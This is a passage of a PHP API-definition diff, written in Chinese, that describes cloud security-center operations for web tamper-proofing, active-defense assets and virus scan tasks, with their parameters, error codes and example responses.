'PageSize' => [ + 'description' => '每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '网页防篡改事件的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'List' => [ + 'description' => '网页防篡改事件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网页防篡改事件。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '尝试次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '33', + ], + 'File' => [ + 'description' => '文件的路径。', + 'type' => 'string', + 'example' => '/tmp', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"709A8C3D-A543-5B79-AB75-361B206F71D9\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"List\\": [\\n {\\n \\"Count\\": 33,\\n \\"File\\": \\"/tmp\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询网页防篡改文件更改统计信息', + ], + 'DescribeWebLockExclusiveFileType' => [ + 'summary' => '查询排除文件类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '排除文件类型的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9CCD7D51-5E81-5FF5-BD74-813DDD248430', + ], + 'ExclusiveFileType' => [ + 'description' => '网页防篡改排除文件的类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网页防篡改排除文件的类型。'."\n" + .'- **log**：.log文件'."\n" + .'- **txt**：.txt文件'."\n" + .'- **idb**：.ldb文件', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'ldb', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 30,\\n \\"RequestId\\": \\"9CCD7D51-5E81-5FF5-BD74-813DDD248430\\",\\n \\"ExclusiveFileType\\": [\\n \\"ldb\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询排除文件类型', + ], + 'DescribeSuspiciousUUIDConfig' => [ + 'summary' => '按照防御类型查询主动防御生效的资产的UUID列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '101926', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的主动防御的防御类型。取值：'."\n" + ."\n" + .'- **auto_breaking**：防病毒'."\n" + .'- **ransomware_breaking**：防勒索（诱饵捕获）'."\n" + .'- **webshell\\_cloud_breaking**：网站后门连接防御'."\n" + .'- **alinet**：恶意网络行为防御'."\n" + .'- **alisecguard**：客户端自保护。', + 'type' => 'string', + 'required' => true, + 'example' => 'alinet', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '查询到该防御类型生效的服务器的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6044DC07-86F1-5DDA-A611-EC578EA4EEE6', + ], + 'UUIDList' => [ + 'description' => '查询到的该防御类型生效的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的该防御类型生效的服务器的UUID。', + 'type' => 'string', + 'example' => '0011ea53-738c-4bff-93be-ce6a1cc9****', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Count\\": 2,\\n \\"RequestId\\": \\"6044DC07-86F1-5DDA-A611-EC578EA4EEE6\\",\\n \\"UUIDList\\": [\\n \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\"\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2\\n 6044DC07-86F1-5DDA-A611-EC578EA4EEE6\\n \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\", \\"0029c328-53de-40e6-b432-df820f0e****\\"\\n","errorExample":""}]', + 'title' => '查询主动防御生效的资产的UUID列表', + ], + 'StartVirusScanTask' => [ + 'summary' => '在一台或多台服务器上执行病毒扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'TargetInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '要执行病毒扫描的资产。支持选择服务器或服务器分组执行扫描病毒，该参数使用JSON数组转化的字符串格式表示。包含以下字段：'."\n" + .'- **type**：执行病毒扫描的资产类型。取值：'."\n" + .' - **groupId**：服务器分组。'."\n" + .' - **uuid**：服务器。 '."\n" + .'- **name**：服务器名称或服务器分组的名称。'."\n" + .'- **target**：执行病毒扫描的资产。取值：'."\n" + .' - **type**的值为**groupId**时，该字段取值为服务器分组ID。您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)获取服务器分组ID。'."\n" + .' - **type**的值为**uuid**时，该字段取值为服务器的UUID。您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '[{"type":"uuid","name":"Host001","target":"503201a7-14c6-4280-801b-1169ed42****"}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'ScanTaskId' => [ + 'description' => '病毒扫描任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '282832', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DAE17926-4ABE-4DBD-9600-DDCB9B200F35', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"ScanTaskId\\": 282832,\\n \\"RequestId\\": \\"DAE17926-4ABE-4DBD-9600-DDCB9B200F35\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 282832\\n DAE17926-4ABE-4DBD-9600-DDCB9B200F35\\n","errorExample":""}]', + 'title' => '执行病毒扫描任务', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeLatestScanTask' => [ + 'summary' => '查询最近一次的病毒扫描任务进度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'TargetInfo' => [ + 'description' => '病毒扫描任务扫描的资产信息。该参数使用JSON数组转化的字符串格式表示。包含以下字段：'."\n" + .'- **type**：执行病毒扫描的资产类型。取值：'."\n" + .' - **groupId**：服务器分组。'."\n" + .' - **uuid**：服务器。'."\n" + .'- **name**：服务器分组名称或服务器的名称。'."\n" + .'- **target**：执行病毒扫描的资产。以下是该字段的取值说明：'."\n" + .' - **type**的值为**groupId**时，该字段为服务器分组ID。'."\n" + .' - **type**的值为**uuid**时，该字段为服务器的UUID。', + 'type' => 'string', + 'example' => '[{"type":"uuid","name":"Host001","target":"503201a7-14c6-4280-801b-1169ed42****"}]', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42XXXXXXXX', + ], + 'LastCheckTime' => [ + 'description' => '最新检测时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671610264000', + ], + 'RiskNum' => [ + 'description' => '服务器存在的病毒检测风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Uuids' => [ + 'description' => '资产的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产的UUID。', + 'type' => 'string', + 'example' => 'd77f7802-4f0a-4221-ab02-4d999e****', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TargetInfo\\": \\"[{\\\\\\"type\\\\\\":\\\\\\"uuid\\\\\\",\\\\\\"name\\\\\\":\\\\\\"Host001\\\\\\",\\\\\\"target\\\\\\":\\\\\\"503201a7-14c6-4280-801b-1169ed42****\\\\\\"}]\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42XXXXXXXX\\",\\n \\"LastCheckTime\\": 1671610264000,\\n \\"RiskNum\\": 1,\\n \\"Uuids\\": [\\n \\"d77f7802-4f0a-4221-ab02-4d999e****\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询最新病毒扫描', + ], + 'CreateVirusScanOnceTask' => [ + 'summary' => '创建病毒扫描一次性任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'SelectionKey', + 'in' => 'query', + 'schema' => [ + 'description' => '保存资产信息的键值。'."\n" + .'> 您可以调用[GetAssetSelectionConfig](~~GetAssetSelectionConfig~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '845de1ec-4b08-42e1-b564-31321e48xxxx', + ], + ], + [ + 'name' => 'ScanType', + 'in' => 'query', + 'schema' => [ + 'description' => '病毒扫描的扫描类型。取值：'."\n" + .'- **system**：系统扫描'."\n" + .'- **user**：自定义扫描。', + 'type' => 'string', + 'required' => false, + 'example' => 'system', + ], + ], + [ + 'name' => 'ScanPath', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '如果是自定义扫描需要传输的扫描路径信息。', + 'type' => 'array', + 'items' => [ + 'description' => '文件的绝对路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/var/spool/cron', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'Param', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展信息字段：'."\n" + .'- **additionType**：拓展的扫描类型', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"additionType\\":[\\"SCAN_MEMORY\\"]}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回的请求体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\"\\n}","type":"json"}]', + 'title' => '创建一次性病毒扫描任务', + ], + 'ListVirusScanMachine' => [ + 'summary' => '查询病毒查杀的告警主机列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产信息，可以设置为资产名称、IP。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.1****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '7cc91747-2845-40d4-bb69-c077597f****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A27C1C09-828B-5CB8-9203-F55423BE****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '168', + ], + ], + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'array', + 'items' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'centos****', + ], + 'InternetIp' => [ + 'description' => '关联实例的公网IP。', + 'type' => 'string', + 'example' => '172.16.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '关联实例的私网IP。', + 'type' => 'string', + 'example' => '10.42.XX.XX', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-bp180bogui4fc0z4****', + ], + 'EventCount' => [ + 'description' => '安全告警发生次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '28', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A27C1C09-828B-5CB8-9203-F55423BE****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 168\\n },\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"InstanceName\\": \\"centos****\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"InstanceId\\": \\"i-bp180bogui4fc0z4****\\",\\n \\"EventCount\\": 28\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询病毒查杀的告警主机列表', + ], + 'GetVirusScanLatestTaskStatistic' => [ + 'summary' => '获取最新的病毒扫描的扫描信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + 'Data' => [ + 'description' => '自定义结果数据。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '扫描任务的ID。', + 'type' => 'string', + 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', + ], + 'ScanTime' => [ + 'description' => '扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1681145862000', + ], + 'Status' => [ + 'description' => '扫描任务的状态。'."\n" + ."\n" + .'**主任务取值：**'."\n" + .'- **0**：任务待开始。'."\n" + .'- **10**：扫描进行中。'."\n" + .'- **100**：扫描完成。'."\n" + ."\n" + .'**子任务取值：**'."\n" + .'- **0**：扫描待开始。'."\n" + .'- **20**：检测脚本下发。'."\n" + .'- **50**：扫描在机器上执行。'."\n" + .'- **100**：扫描结束。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SuspiciousCount' => [ + 'description' => '扫描出来的安全告警的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'SuspiciousMachine' => [ + 'description' => '扫描出来有风险的机器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'SafeMachine' => [ + 'description' => '未扫描出具有风险的机器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ScanMachine' => [ + 'description' => '此次病毒扫描机器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'ScanType' => [ + 'description' => '此次病毒扫描的扫描类型。取值：'."\n" + .'- **system**：系统自动扫描。'."\n" + .'- **user**：用户自定义扫描。', + 'type' => 'string', + 'example' => 'system', + ], + 'ScanPath' => [ + 'description' => '用户自定义类型时，指定的需要扫描的文件路径。', + 'type' => 'array', + 'items' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => 'C:/test1', + ], + ], + 'Progress' => [ + 'description' => '扫描任务进度的百分比。', + 'type' => 'string', + 'example' => '92', + ], + 'MachineName' => [ + 'description' => '服务器机器名称。', + 'type' => 'string', + 'example' => 'testMahine1', + ], + 'CompleteMachine' => [ + 'description' => '完成扫描的机器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'UnCompleteMachine' => [ + 'description' => '未扫描结束和扫描失败的机器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskLevel' => [ + 'description' => '扫描出的告警的最高风险等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'medium', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"ScanTime\\": 1681145862000,\\n \\"Status\\": 0,\\n \\"SuspiciousCount\\": 2,\\n \\"SuspiciousMachine\\": 2,\\n \\"SafeMachine\\": 1,\\n \\"ScanMachine\\": 3,\\n \\"ScanType\\": \\"system\\",\\n \\"ScanPath\\": [\\n \\"C:/test1\\"\\n ],\\n \\"Progress\\": \\"92\\",\\n \\"MachineName\\": \\"testMahine1\\",\\n \\"CompleteMachine\\": 2,\\n \\"UnCompleteMachine\\": 1,\\n \\"RiskLevel\\": \\"medium\\"\\n }\\n}","type":"json"}]', + 'title' => '获取最新的病毒扫描的扫描信息', + ], + 'ListVirusScanMachineEvent' => [ + 'summary' => '查询病毒扫描具体机器扫描出的病毒告警。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID标识。', + 'type' => 'string', + 'required' => false, + 'example' => 'a6931624-c43e-4323-9128-a6be6ffdxxxx', + ], + ], + [ + 'name' => 'OperateTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '执行处置操作生成的任务ID。'."\n" + .'> 您可以调用[OperateVirusEvents](~~OperateVirusEvents~~)接口处置告警来生成该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '233886xx', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2DAEF40F-8E1A-550D-8793-99C61C401DD0', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的告警事件的总条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + ], + ], + 'Data' => [ + 'description' => ' '."\n" + .'告警事件的详情。', + 'type' => 'array', + 'items' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'EventId' => [ + 'description' => '告警事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '911273', + ], + 'Level' => [ + 'description' => '告警事件的危险等级。取值：'."\n" + .'- **serious**：紧急。'."\n" + .'- **suspicious**：可疑。'."\n" + .'- **remind**：提醒。', + 'type' => 'string', + 'example' => 'serious', + ], + 'EventName' => [ + 'description' => '告警事件名称（子类型）。', + 'type' => 'string', + 'example' => '恶意脚本代码执行', + ], + 'LastTimeStamp' => [ + 'description' => '最后一次发生的时间戳，单位为毫秒。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1682046733628', + ], + 'Details' => [ + 'description' => '异常事件的详情。', + 'type' => 'array', + 'items' => [ + 'description' => '具体数据体。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '异常事件详情信息展示的方式。'."\n" + ."\n" + .'取值包括：'."\n" + ."\n" + .'- **text**：文本方式'."\n" + .'- **html**：富文本的方式', + 'type' => 'string', + 'example' => 'html', + ], + 'NameDisplay' => [ + 'description' => '告警事件显示名称。', + 'type' => 'string', + 'example' => 'Trojan Path', + ], + 'InfoType' => [ + 'description' => 'valueDisplay的展示类型。'."\n" + .'取值：'."\n" + .'- **download_url**: 下载链接。', + 'type' => 'string', + 'example' => 'download_url', + ], + 'ValueDisplay' => [ + 'description' => '异常事件的其他属性信息。'."\n" + .'例如：异常登录告警的登录时间或登录地点、告警的木马文件路径或木马类型等。', + 'type' => 'string', + 'example' => 'getopt', + ], + ], + ], + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'i-wz92q7m5hsbgfhdss***', + ], + 'InternetIp' => [ + 'description' => '公网IP。', + 'type' => 'string', + 'example' => '172.16.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '私网IP。', + 'type' => 'string', + 'example' => '10.42.XX.XX', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2DAEF40F-8E1A-550D-8793-99C61C401DD0\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n },\\n \\"Data\\": [\\n {\\n \\"EventId\\": 911273,\\n \\"Level\\": \\"serious\\",\\n \\"EventName\\": \\"恶意脚本代码执行\\",\\n \\"LastTimeStamp\\": 1682046733628,\\n \\"Details\\": [\\n {\\n \\"Type\\": \\"html\\",\\n \\"NameDisplay\\": \\"Trojan Path\\",\\n \\"InfoType\\": \\"download_url\\",\\n \\"ValueDisplay\\": \\"getopt\\"\\n }\\n ],\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询机器扫描出的告警事件', + ], + 'ListVirusScanTask' => [ + 'summary' => '根据任务的扫描类型、扫描状态和检测的机器信息等查询符合条件的病毒扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的病毒扫描任务ID。'."\n" + .'> 您可以调用[ListVirusScanTask](~~ListVirusScanTask~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '1471d8ebb96795b41ede090b9758****', + ], + ], + [ + 'name' => 'ScanType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定待查询病毒扫描任务的扫描类型。'."\n" + .'取值：'."\n" + ."\n" + .'- **system**：系统自动扫描'."\n" + .'- **user**：系统自定义扫描', + 'type' => 'string', + 'required' => false, + 'example' => 'user', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '病毒扫描任务的执行的状态。'."\n" + .'取值：'."\n" + .'- **1**：检测中'."\n" + .'- **2**：完成'."\n" + .'- **3**：失败'."\n" + .'- **4**：超时', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的任务开始时间的时间戳（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1680919232000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的任务结束时间的时间戳（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1680919232999', + ], + ], + [ + 'name' => 'RootTask', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的任务是否是病毒扫描的主任务', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'RootTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '根任务ID。'."\n" + .'> 您可以调用[GetVirusScanLatestTaskStatistic](~~GetVirusScanLatestTaskStatistic~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 